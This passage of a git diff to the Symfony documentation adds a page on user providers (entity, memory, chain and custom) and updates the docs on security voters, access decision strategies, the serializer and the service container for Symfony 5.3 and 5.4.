-your ``User`` class.
-
-If you used the ``make:user`` command to create your ``User`` class (and you
-answered the questions indicating that you need a custom user provider), that
-command will generate a nice skeleton to get you started::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        /**
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me.
-         *
-         * If you're not using these features, you do not need to implement
-         * this method.
-         *
-         * @return UserInterface
-         *
-         * @throws UsernameNotFoundException if the user is not found
-         */
-        public function loadUserByUsername(string $username)
-        {
-            // Load a User object from your data source or throw UsernameNotFoundException.
-            // The $username argument may not actually be a username:
-            // it is whatever value is being returned by the getUsername()
-            // method in your User class.
-            throw new \Exception('TODO: fill in loadUserByUsername() inside '.__FILE__);
-        }
-
-        /**
-         * Refreshes the user after being reloaded from the session.
-         *
-         * When a user is logged in, at the beginning of each request, the
-         * User object is loaded from the session and then this method is
-         * called. Your job is to make sure the user's data is still fresh by,
-         * for example, re-querying for fresh User data.
-         *
-         * If your firewall is "stateless: true" (for a pure API), this
-         * method is not called.
-         *
-         * @return UserInterface
-         */
-        public function refreshUser(UserInterface $user)
-        {
-            if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
-            }
-
-            // Return a User object after making sure its data is "fresh".
-            // Or throw a UsernameNotFoundException if the user no longer exists.
-            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
-        }
-
-        /**
-         * Tells Symfony to use this provider for this User class.
-         */
-        public function supportsClass(string $class)
-        {
-            return User::class === $class || is_subclass_of($class, User::class);
-        }
-        
-        /**
-         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
-         */
-        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
-        {
-            // TODO: when encoded passwords are in use, this method should:
-            // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newEncodedPassword);
-        }
-    }
-
-Most of the work is already done! Read the comments in the code and update the
-TODO sections to finish the user provider. When you're done, tell Symfony about
-the user provider by adding it in ``security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
-
-Lastly, update the ``config/packages/security.yaml`` file to set the
-``provider`` key to ``your_custom_user_provider`` in all the firewalls which
-will use this custom user provider.
-
-.. _user_session_refresh:
-
-Understanding how Users are Refreshed from the Session
-------------------------------------------------------
-
-At the end of every request (unless your firewall is ``stateless``), your
-``User`` object is serialized to the session. At the beginning of the next
-request, it's deserialized and then passed to your user provider to "refresh" it
-(e.g. Doctrine queries for a fresh user).
-
-Then, the two User objects (the original from the session and the refreshed User
-object) are "compared" to see if they are "equal". By default, the core
-``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUsername()`` methods. If any of these are different, your
-user will be logged out. This is a security measure to make sure that malicious
-users can be de-authenticated if core user data changes.
-
-However, in some cases, this process can cause unexpected authentication problems.
-If you're having problems authenticating, it could be that you *are* authenticating
-successfully, but you immediately lose authentication after the first redirect.
-
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
-
-Comparing Users Manually with EquatableInterface
-------------------------------------------------
-
-Or, if you need more control over the "compare users" process, make your User class
-implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
-
-Injecting a User Provider in your Services
-------------------------------------------
-
-Symfony defines several services related to user providers:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:container user.provider
-
-      Select one of the following services to display its information:
-      [0] security.user.provider.in_memory
-      [1] security.user.provider.ldap
-      [2] security.user.provider.chain
-      ...
-
-Most of these services are abstract and cannot be injected in your services.
-Instead, you must inject the normal service that Symfony creates for each of
-your user providers. The names of these services follow this pattern:
-``security.user.provider.concrete.<your-provider-name>``.
-
-For example, if you are :doc:`building a form login </security/form_login_setup>`
-and want to inject in your ``LoginFormAuthenticator`` a user provider of type
-``memory`` and called  ``backend_users``, do the following::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
-    {
-        private $userProvider;
-
-        // change the 'InMemoryUserProvider' type-hint in the constructor if
-        // you are injecting a different type of user provider
-        public function __construct(InMemoryUserProvider $userProvider, /* ... */)
-        {
-            $this->userProvider = $userProvider;
-            // ...
-        }
-    }
-
-Then, inject the concrete service created by Symfony for the ``backend_users``
-user provider:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        # ...
-
-        App\Security\LoginFormAuthenticator:
-            $userProvider: '@security.user.provider.concrete.backend_users'
diff --git a/security/user_providers.rst b/security/user_providers.rst
new file mode 100644
index 00000000000..5d3be052121
--- /dev/null
+++ b/security/user_providers.rst
@@ -0,0 +1,375 @@
+User Providers
+==============
+
+User providers (re)load users from a storage (e.g. a database) based on a
+"user identifier" (e.g. the user's email address or username). See
+:ref:`security-user-providers` for more detailed information when a user
+provider is used.
+
+Symfony provides several user providers:
+
+:ref:`Entity User Provider <security-entity-user-provider>`
+    Loads users from a database using :doc:`Doctrine </doctrine>`;
+:ref:`LDAP User Provider <security-ldap-user-provider>`
+    Loads users from a LDAP server;
+:ref:`Memory User Provider <security-memory-user-provider>`
+    Loads users from a configuration file;
+:ref:`Chain User Provider <security-chain-user-provider>`
+    Merges two or more user providers into a new user provider.
+
+.. _security-entity-user-provider:
+
+Entity User Provider
+--------------------
+
+This is the most common user provider. Users are stored in a database and
+the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        # the class of the entity that represents users
+                        class: 'App\Entity\User'
+                        # the property to query by - e.g. email, username, etc
+                        property: 'email'
+
+                        # optional: if you're using multiple Doctrine entity
+                        # managers, this option defines which one to use
+                        #manager_name: 'customer'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <!-- class:    the class of the entity that represents users
+                         property: the property to query by - e.g. email, username, etc-->
+                    <entity class="App\Entity\User" property="email"/>
+
+                    <!-- optional, if you're using multiple Doctrine entity
+                         managers, "manager-name" defines which one to use -->
+                    <!-- <entity class="App\Entity\User" property="email"
+                                 manager-name="customer"/> -->
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        // the class of the entity that represents users
+                        'class'    => User::class,
+                        // the property to query by - e.g. email, username, etc
+                        'property' => 'email',
+
+                        // optional: if you're using multiple Doctrine entity
+                        // managers, this option defines which one to use
+                        //'manager_name' => 'customer',
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+.. _authenticating-someone-with-a-custom-entity-provider:
+
+Using a Custom Query to Load the User
+.....................................
+
+The entity provider can only query from one *specific* field, specified by
+the ``property`` config key. If you want a bit more control over this - e.g. you
+want to find a user by ``email`` *or* ``username``, you can do that by
+implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    use App\Entity\User;
+    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
+    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
+
+    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
+    {
+        // ...
+
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
+        {
+            $entityManager = $this->getEntityManager();
+
+            return $entityManager->createQuery(
+                    'SELECT u
+                    FROM App\Entity\User u
+                    WHERE u.username = :query
+                    OR u.email = :query'
+                )
+                ->setParameter('query', $usernameOrEmail)
+                ->getOneOrNullResult();
+        }
+
+        /** @deprecated since Symfony 5.3 */
+        public function loadUserByUsername(string $usernameOrEmail): ?User
+        {
+            return $this->loadUserByIdentifier($usernameOrEmail);
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The method ``loadUserByIdentifier()`` was introduced to the
+    ``UserLoaderInterface`` in Symfony 5.3.
+
+To finish this, remove the ``property`` key from the user provider in
+``security.yaml``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        class: App\Entity\User
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <entity class="App\Entity\User"/>
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        'class' => User::class,
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
+method on your ``UserRepository`` will be called.
+
+.. _security-memory-user-provider:
+
+Memory User Provider
+--------------------
+
+It's not recommended to use this provider in real applications because of its
+limitations and how difficult it is to manage users. It may be useful in application
+prototypes and for limited applications that don't store users in databases.
+
+This user provider stores all user information in a configuration file,
+including their passwords. Make sure the passwords are hashed properly. See
+:doc:`/security/passwords` for more information.
+
+After setting up hashing, you can configure all the user information in
+``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            backend_users:
+                memory:
+                    users:
+                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+        # ...
+
+.. caution::
+
+    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
+    to choose an encoding without salt (i.e. ``bcrypt``).
+
+.. _security-chain-user-provider:
+
+Chain User Provider
+-------------------
+
+This user provider combines two or more of the other provider types (e.g.
+``entity`` and ``ldap``) to create a new user provider. The order in which
+providers are configured is important because Symfony will look for users
+starting from the first provider and will keep looking for in the other
+providers until the user is found:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+        providers:
+            backend_users:
+                ldap:
+                    # ...
+
+            legacy_users:
+                entity:
+                    # ...
+
+            users:
+                entity:
+                    # ...
+
+            all_users:
+                chain:
+                    providers: ['legacy_users', 'users', 'backend_users']
+
+.. _security-custom-user-provider:
+
+Creating a Custom User Provider
+-------------------------------
+
+Most applications don't need to create a custom provider. If you store users in
+a database, a LDAP server or a configuration file, Symfony supports that.
+However, if you're loading users from a custom location (e.g. via an API or
+legacy database connection), you'll need to create a custom user provider.
+
+First, make sure you've followed the :doc:`Security Guide </security>` to create
+your ``User`` class.
+
+If you used the ``make:user`` command to create your ``User`` class (and you
+answered the questions indicating that you need a custom user provider), that
+command will generate a nice skeleton to get you started::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+    use Symfony\Component\Security\Core\User\UserProviderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        /**
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
+         *
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
+         *
+         * @throws UserNotFoundException if the user is not found
+         */
+        public function loadUserByIdentifier(string $identifier): UserInterface
+        {
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
+        }
+
+        /**
+         * Refreshes the user after being reloaded from the session.
+         *
+         * When a user is logged in, at the beginning of each request, the
+         * User object is loaded from the session and then this method is
+         * called. Your job is to make sure the user's data is still fresh by,
+         * for example, re-querying for fresh User data.
+         *
+         * If your firewall is "stateless: true" (for a pure API), this
+         * method is not called.
+         *
+         * @return UserInterface
+         */
+        public function refreshUser(UserInterface $user)
+        {
+            if (!$user instanceof User) {
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+            }
+
+            // Return a User object after making sure its data is "fresh".
+            // Or throw a UserNotFoundException if the user no longer exists.
+            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
+        }
+
+        /**
+         * Tells Symfony to use this provider for this User class.
+         */
+        public function supportsClass(string $class)
+        {
+            return User::class === $class || is_subclass_of($class, User::class);
+        }
+
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
+    }
+
+Most of the work is already done! Read the comments in the code and update the
+TODO sections to finish the user provider. When you're done, tell Symfony about
+the user provider by adding it in ``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            # the name of your user provider can be anything
+            your_custom_user_provider:
+                id: App\Security\UserProvider
+
+Lastly, update the ``config/packages/security.yaml`` file to set the
+``provider`` key to ``your_custom_user_provider`` in all the firewalls which
+will use this custom user provider.
diff --git a/security/voters.rst b/security/voters.rst
index 8970289aaff..87b5249e996 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -62,6 +62,18 @@ which makes creating a voter even easier::
 
 .. _how-to-use-the-voter-in-a-controller:
 
+.. tip::
+
+    Checking each voter several times can be time consumming for applications
+    that perform a lot of permission checks. To improve performance in those cases,
+    you can make your voters implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Voter\\CacheableVoterInterface`.
+    This allows the access decision manager to remember the attribute and type
+    of subject supported by the voter, to only call the needed voters each time.
+
+    .. versionadded:: 5.4
+
+        The ``CacheableVoterInterface`` interface was introduced in Symfony 5.4.
+
 Setup: Checking for Access in a Controller
 ------------------------------------------
 
@@ -70,14 +82,14 @@ user can *edit* or *view* the object. In your controller, you'll check access wi
 code like this::
 
     // src/Controller/PostController.php
-    // ...
 
+    // ...
     class PostController extends AbstractController
     {
         /**
          * @Route("/posts/{id}", name="post_show")
          */
-        public function show($id)
+        public function show($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -91,7 +103,7 @@ code like this::
         /**
          * @Route("/posts/{id}/edit", name="post_edit")
          */
-        public function edit($id)
+        public function edit($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -130,7 +142,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports(string $attribute, $subject)
+        protected function supports(string $attribute, $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -145,7 +157,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -168,7 +180,7 @@ would look like this::
             throw new \LogicException('This code should not be reached!');
         }
 
-        private function canView(Post $post, User $user)
+        private function canView(Post $post, User $user): bool
         {
             // if they can edit, they can view
             if ($this->canEdit($post, $user)) {
@@ -179,7 +191,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user)
+        private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
             return $user === $post->getOwner();
@@ -243,7 +255,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute(string $attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             // ...
 
@@ -278,12 +290,12 @@ There are three strategies available:
     This grants access as soon as there is *one* voter granting access;
 
 ``consensus``
-    This grants access if there are more voters granting access than denying;
+    This grants access if there are more voters granting access than
+    denying. In case of a tie the decision is based on the
+    ``allow_if_equal_granted_denied`` config option (defaulting to ``true``);
 
 ``unanimous``
-    This only grants access if there is no voter denying access. If all voters
-    abstained from voting, the decision is based on the ``allow_if_all_abstain``
-    config option (which defaults to ``false``);
+    This only grants access if there is no voter denying access.
 
 ``priority``
     This grants or denies access by the first voter that does not abstain,
@@ -293,6 +305,10 @@ There are three strategies available:
 
         The ``priority`` version strategy was introduced in Symfony 5.1.
 
+Regardless the chosen strategy, if all voters abstained from voting, the
+decision is based on the ``allow_if_all_abstain`` config option (which
+defaults to ``false``).
+
 In the above scenario, both voters should grant access in order to grant access
 to the user to read the post. In this case, the default strategy is no longer
 valid and ``unanimous`` should be used instead. You can set this in the
@@ -329,17 +345,70 @@ security configuration:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'strategy' => 'unanimous',
-                'allow_if_all_abstain' => false,
-            ],
-        ]);
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategy('unanimous')
+                ->allowIfAllAbstain(false)
+            ;
+        };
 
 Custom Access Decision Strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If none of the built-in strategies fits your use case, define the ``service``
+.. versionadded:: 5.4
+
+    The ``strategy_service`` option was introduced in Symfony 5.4.
+
+If none of the built-in strategies fits your use case, define the ``strategy_service``
+option to use a custom service (your service must implement the
+:class:`Symfony\\Component\\Security\\Core\Authorization\\Strategy\\AccessDecisionStrategyInterface`):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            access_decision_manager:
+                strategy_service: App\Security\MyCustomAccessDecisionStrategy
+                # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+
+            <config>
+                <access-decision-manager
+                    strategy-service="App\Security\MyCustomAccessDecisionStrategy"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\MyCustomAccessDecisionStrategy;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->strategyService(MyCustomAccessDecisionStrategy::class)
+                // ...
+            ;
+        };
+
+Custom Access Decision Manager
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to provide an entirely custom access decision manager, define the ``service``
 option to use a custom service as the Access Decision Manager (your service
 must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface`):
 
@@ -374,10 +443,11 @@ must implement the :class:`Symfony\\Component\\Security\\Core\\Authorization\\Ac
 
         // config/packages/security.php
         use App\Security\MyCustomAccessDecisionManager;
+        use Symfony\Config\SecurityConfig;
 
-        $container->loadFromExtension('security', [
-            'access_decision_manager' => [
-                'service' => MyCustomAccessDecisionManager::class,
+        return static function (SecurityConfig $security) {
+            $security->accessDecisionManager()
+                ->service(MyCustomAccessDecisionManager::class)
                 // ...
-            ],
-        ]);
+            ;
+        };
diff --git a/serializer.rst b/serializer.rst
index b4dd7e03d52..92250d2f5a9 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -41,6 +41,19 @@ you need it or it can be used in a controller::
         }
     }
 
+Or you can use the ``serialize`` Twig filter in a template:
+
+.. code-block:: twig
+
+    {{ object|serialize(format = 'json') }}
+
+See the :doc:`twig reference </reference/twig_reference>` for
+more information.
+
+.. versionadded:: 5.3
+
+    A ``serialize`` filter was introduced in Symfony 5.3 that uses the Serializer component.
+
 Adding Normalizers and Encoders
 -------------------------------
 
@@ -107,7 +120,7 @@ properties and setters (``setXxx()``) to change properties:
     .. code-block:: xml
 
         <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <container xmlns="http://symfony.com/schema/dic/services"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://symfony.com/schema/dic/services
@@ -135,6 +148,33 @@ properties and setters (``setXxx()``) to change properties:
             ;
         };
 
+Serializer Context
+------------------
+
+The serializer can define a context to control how the (de)serialization of
+resources. This context is passed to all normalizers. For example:
+
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
+  ``datetime_format`` key as date time format;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
+  uses ``empty_iterable_as_object`` to represent empty objects as ``{}`` instead
+  of ``[]`` in JSON.
+
+.. versionadded:: 5.4
+
+    The usage of the ``empty_array_as_object`` option by default in the
+    Serializer was introduced in Symfony 5.4.
+
+You can pass the context like following::
+
+    $serializer->serialize($something, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
+    $serializer->deserialize($someJson, Something::class, 'json', [
+        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
+    ]);
+
 .. _serializer-using-serialization-groups-annotations:
 
 Using Serialization Groups Annotations
@@ -246,12 +286,11 @@ value:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            // ...
-            'serializer' => [
-                'name_converter' => 'serializer.name_converter.camel_case_to_snake_case',
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->serializer()->nameConverter('serializer.name_converter.camel_case_to_snake_case');
+        };
 
 Going Further with the Serializer
 ---------------------------------
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index eeddab79c56..7f8a0e1b4f2 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -66,7 +66,7 @@ that's done automatically!
 
 .. tip::
 
-    If you're not using :ref:`autoconfigure <service_autoconfigure>`, make sure
+    If you're not using :ref:`autoconfigure <services-autoconfigure>`, make sure
     to register your class as a service and tag it with ``serializer.encoder``.
 
 Now you'll be able to serialize and deserialize YAML!
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 122add50523..2a0a60244ed 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -61,3 +61,32 @@ Before using this normalizer in a Symfony application it must be registered as
 a service and :doc:`tagged </service_container/tags>` with ``serializer.normalizer``.
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 this is done automatically!
+
+Performance
+-----------
+
+To figure which normalizer (or denormalizer) must be used to handle an object,
+the :class:`Symfony\\Component\\Serializer\\Serializer` class will call the
+:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
+(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
+of all registered normalizers (or denormalizers) in a loop.
+
+The result of these methods can vary depending on the object to serialize, the
+format and the context. That's why the result **is not cached** by default and
+can result in a significant performance bottleneck.
+
+However, most normalizers (and denormalizers) always return the same result when
+the object's type and the format are the same, so the result can be cached. To
+do so, make those normalizers (and denormalizers) implement the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+and return ``true`` when
+:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
+is called.
+
+.. note::
+
+    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    as well the ones included in `API Platform`_ natively implement this interface.
+
+.. _`API Platform`: https://api-platform.com
+
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 002cc02a433..224fb809bcc 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -25,29 +25,31 @@ Symfony includes the following normalizers but you can also
 :doc:`create your own normalizer </serializer/custom_normalizer>`:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
+  for :phpclass:`DateTimeZone` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
+  objects implementing the :phpclass:`DateTimeInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
+  for :phpclass:`DateInterval` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+  transform :phpclass:`SplFileInfo` objects in `Data URIs`_;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
+  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
   objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
-  normalize form errors.
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
+  normalize form errors;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+  normalize PHP object using `PHP reflection`_;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
+  to deal with objects implementing the :phpclass:`JsonSerializable` interface;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` converts objects that implement :class:`Symfony\\Component\\Uid\\AbstractUid` into strings and denormalizes uuid or ulid strings to :class:`Symfony\\Component\\Uid\\Uuid` or :class:`Symfony\\Component\\Uid\\Ulid`.
+
 
 .. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
diff --git a/service_container.rst b/service_container.rst
index 0b140eedcd8..0e44401bef2 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -33,6 +33,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController
     {
@@ -62,9 +63,6 @@ What other services are available? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -80,7 +78,7 @@ in the container.
 .. tip::
 
     There are actually *many* more services in the container, and each service has
-    a unique id in the container, like ``session`` or ``router.default``. For a full
+    a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
